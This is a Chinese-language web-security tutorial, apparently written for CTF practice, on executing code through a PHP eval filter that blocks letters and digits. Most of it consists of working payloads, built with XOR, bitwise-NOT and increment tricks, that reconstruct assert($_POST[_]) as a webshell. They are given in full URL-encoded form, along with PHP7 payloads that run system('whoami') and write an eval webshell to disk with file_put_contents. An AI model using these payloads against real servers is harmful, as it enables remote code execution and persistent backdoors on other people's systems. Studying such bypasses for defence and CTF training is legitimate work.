RCE篇之無數字字母rce
無數字字母rce
無數字字母rce,這是一個老生常談的問題,就是不利用數字和字母構造出webshell,從而能夠執行我們的命令。
核心程式碼
<?php highlight_file(__FILE__); $code = $_GET['code']; if(preg_match("/[A-Za-z0-9]+/",$code)){ die("hacker!"); } @eval($code); ?>
這裡的思路就是利用各種非數字字母的字元,經過各種變換(異或、取反、自增),構造出單個的字母字元,然後把單個字元拼接成一個函式名,比如說assert,然後就可以動態執行了。所以說這裡的核心就是非字母的字元換成字母字元。
1、異或^
這裡的異或,指的是php按位異或,在php中,兩個字元進行異或操作後,得到的依然是一個字元,所以說當我們想得到a-z
中某個字母時,就可以找到兩個非字母數字的字元,只要他們倆的異或結果是這個字母即可。而在php中,兩個字元進行異或時,會先將字串轉換成ascii碼
值,再將這個值轉換成二進位制,然後一位一位的進行按位異或,異或的規則是:1^1=0,1^0=1,0^1=1,0^0=0
,簡單的來說就是相同為零,不同為一,ascii碼
表參考如下:
那假如說我們想要構造出小寫字母a
,按照上表,a
的二進位制為01100001
,那我們就可以選擇兩個非字母數字的字元進行異或,這裡有很多種選法,我選擇的是@
和!
這兩個,成功異或出了字母a
然後我們就可以按照這個方法進行拼接了,我們的目標字串是assert($_POST[_])
,其實很簡單,我們需要拼接的字母只有九個而已,拼接結果如下,因為很多都是不可見的字元,所以說我就先url編碼了一下(url編碼就是它的16進位制編碼前面加個%
哈):
a:'%40'^'%21' ; s:'%7B'^'%08' ; s:'%7B'^'%08' ; e:'%7B'^'%1E' ; r:'%7E'^'%0C' ; t:'%7C'^'%08' P:'%0D'^'%5D' ; O:'%0F'^'%40' ; S:'%0E'^'%5D' ; T:'%0B'^'%5F' 拼接起來: $_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08'); //$_=assert $__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F'); // $__=_POST $___=$$__; //$___=$_POST $_($___[_]);//assert($_POST[_]); 放到一排就是: $_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08');$__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F');$___=$$__;$_($___[_]);
以上是我自己構造的,經檢驗沒有問題,構造結果可能會有很多種,但方法都是一樣的,這樣就可以成功進行rce了。
2、取反~
取反也是php中的一種運算子,關於取反的具體規則可以參考這篇文章:https://blog.csdn.net/WilliamsWayne/article/details/78259501,寫得挺詳細的,取反的好處就是,它每一個字元取反之後都會變成另一個字元,不像異或需要兩個字元才能構造出一個字元。
方法一
首先,我們想要構造的依然是assert($_POST[_])
這條語句,和上面一樣,我們先用php
的取反符號~
將字串assert
和_POST
取反,這裡需要注意的是,由於它取反之後會有大量不可顯字元,所以我們同樣需要將其url編碼,然後當我們要用的時候,再利用取反符號把它們取回來即可,具體請見下圖:
可以看到,assert
的取反結果是%9E%8C%8C%9A%8D%8B
,_POST
的取反結果是%A0%AF%B0%AC%AB
,那我們就開始構造:
$_=~(%9E%8C%8C%9A%8D%8B); //這裡利用取反符號把它取回來,$_=assert $__=~(%A0%AF%B0%AC%AB); //$__=_POST $___=$$__; //$___=$_POST $_($___[_]); //assert($_POST[_]); 放到一排就是: $_=~(%9E%8C%8C%9A%8D%8B);$__=~(%A0%AF%B0%AC%AB);$___=$$__;$_($___[_]);
方法二
方法二是我看p神部落格才瞭解到的方法,就是說利用的是UTF-8編碼的某個漢字,並將其中某個字元取出來,然後再進行一次取反操作,就能得到一個我們想要的字元,這裡的原理我確實是不知道,因為這裡好像是涉及到計組知識而我現在還沒學,害,現在就只有先學會怎麼用,原理後面再補了
這裡之所以會輸出兩個相同的r
,就是因為裡面$_{1}
就是\x8d
,然後這裡對\x86
進行取反就能得到r
,原理不詳
總之我們需要知道的是,對於一個漢字進行~($x{0})
或~($x{1})
或~($x{2})
的操作,可以得到某個ascii碼
的字元值,我們就可以利用這一點構造出webshell
$_++; //得到1,此時$_=1 $__ = "極"; $___ = ~($__{$_}); //得到a,此時$___="a" $__ = "區"; $___ .= ~($__{$_}); //得到s,此時$___="as" $___ .= ~($__{$_}); //此時$___="ass" $__ = "皮"; $___ .= ~($__{$_}); //得到e,此時$___="asse" $__ = "十"; $___ .= ~($__{$_}); //得到r,此時$___="asser" $__ = "勺"; $___ .= ~($__{$_}); //得到t,此時$___="assert" $____ = '_'; //$____='_' $__ = "寸"; $____ .= ~($__{$_}); //得到P,此時$____="_P" $__ = "小"; $____ .= ~($__{$_}); //得到O,此時$____="_PO" $__ = "欠"; $____ .= ~($__{$_}); //得到S,此時$____="_POS" $__ = "立"; $____ .= ~($__{$_}); //得到T,此時$____="_POST" $_ = $$____; //$_ = $_POST $___($_[_]); //assert($_POST[_]) 放到一排就是: $_++;$__ = "極";$___ = ~($__{$_});$__ = "區";$___ .= ~($__{$_});$___ .= ~($__{$_});$__ = "皮";$___ .= ~($__{$_});$__ = "十";$___ .= ~($__{$_});$__ = "勺";$___ .= ~($__{$_});$____ = '_';$__ = "寸";$____ .= ~($__{$_});$__ = "小";$____ .= ~($__{$_});$__ = "欠";$____ .= ~($__{$_});$__ = "立";$____ .= ~($__{$_});$_ = $$____;$___($_[_]);
由於不可見字元的原因,我們還是要進行url編碼之後才能正常使用:
%24_%2B%2B%3B%24__%20%3D%20%22%E6%9E%81%22%3B%24___%20%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E5%8C%BA%22%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E7%9A%AE%22%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E5%8D%81%22%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E5%8B%BA%22%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24____%20%3D%20'_'%3B%24__%20%3D%20%22%E5%AF%B8%22%3B%24____%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E5%B0%8F%22%3B%24____%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E6%AC%A0%22%3B%24____%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E7%AB%8B%22%3B%24____%20.%3D%20~(%24__%7B%24_%7D)%3B%24_%20%3D%20%24%24____%3B%24___(%24_%5B_%5D)%3B
3、自增
在處理字元變數的算數運算時,PHP
沿襲了Perl
的習慣,而不是C語言的。在C語言中,它遞增的是ASCII值,a = 'Z'; a++;
將把 a
變成 '['
('Z'
的 ASCII 值是 90,'['
的 ASCII 值是 91),而在Perl中, $a = 'Z'; $a++;
將把 $a
變成'AA'
。注意字元變數只能遞增,不能遞減,並且只支援純字母(a-z 和 A-Z)。遞增或遞減其他字元變數則無效,原字串沒有變化。
也就是說,只要我們獲得了小寫字母a
,就可以通過自增獲得所有小寫字母,當我們獲得大寫字母A
,就可以獲得所有大寫字母了
正好,陣列(Array)中就正好有大寫字母A
和小寫字母a
,而在PHP中,如果強制連線陣列和字串的話,陣列就會被強制轉換成字串,它的值就為Array
,那取它的第一個子母,就拿到A
了,那有了a
和A
,相當於我們就可以拿到a-z
和A-Z
中的所有字母了
這裡我就直接給出p神的構造結果了,構造出來很長,而且我感覺也不是特別實用:
<?php $_=[]; $_=@"$_"; // $_='Array'; $_=$_['!'=='@']; // $_=$_[0]; $___=$_; // A $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; // S $___.=$__; // S $__=$_; $__++;$__++;$__++;$__++; // E $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T $___.=$__; $____='_'; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T $____.=$__; $_=$$____; $___($_[_]); // ASSERT($_POST[_]);
放到一排再url編碼之後是:
%24_%3D%5B%5D%3B%24_%3D%40%22%24_%22%3B%24_%3D%24_%5B'!'%3D%3D'%40'%5D%3B%24___%3D%24_%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24____%3D'_'%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___(%24_%5B_%5D)%3B
說實話真的太長了,要是稍微有個長度限制就用不了,所以說這種方法只做瞭解即可
php5和php7的區別
在研究無數字字母rce的過程中,一個很重要的函式就是assert
,但在php5的版本和php7的版本中,它是有一些區別的,我們上面的測試都是基於php5進行的,在php5中assert是一個函式,我們可以通過$f='assert';$f(...);
這樣的方法來動態執行任意程式碼,在php7中,assert不再是函式,變成了一個語言結構(類似eval),不能再作為函式名動態執行程式碼,但是在php7中,我們可以使用($a)()這種方法來執行命令,那相當於我們對phpinfo取反後就可以直接執行了,也可以選擇file_put_contents()來寫入shell,在php5中這樣是不行的:
例子一
在php7中,因為可以使用($a)()這種方法來執行命令,所以說我們利用call_user_func()
來舉例,(call_user_func)(system,whoami,'')
即可執行whoami
的命令:
那構造出來的結果就為:
(~%9c%9e%93%93%a0%8a%8c%9a%8d%a0%99%8a%91%9c)(~%8c%86%8c%8b%9a%92,~%88%97%90%9e%92%96,'');
例子二
再來一個在php7中利用file_put_contents()
寫入shell
的例子:
我們要構造的語句為:file_put_contents('4.php','<?php eval(\$_POST[1]);');
構造出來就為:
(~(%99%96%93%9A%A0%8F%8A%8B%A0%9C%90%91%8B%9A%91%8B%8C))(~(%CB%D1%8F%97%8F),~(%C3%C0%8F%97%8F%DF%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%C4));
這裡要注意的就是要有該目錄的寫入許可權哈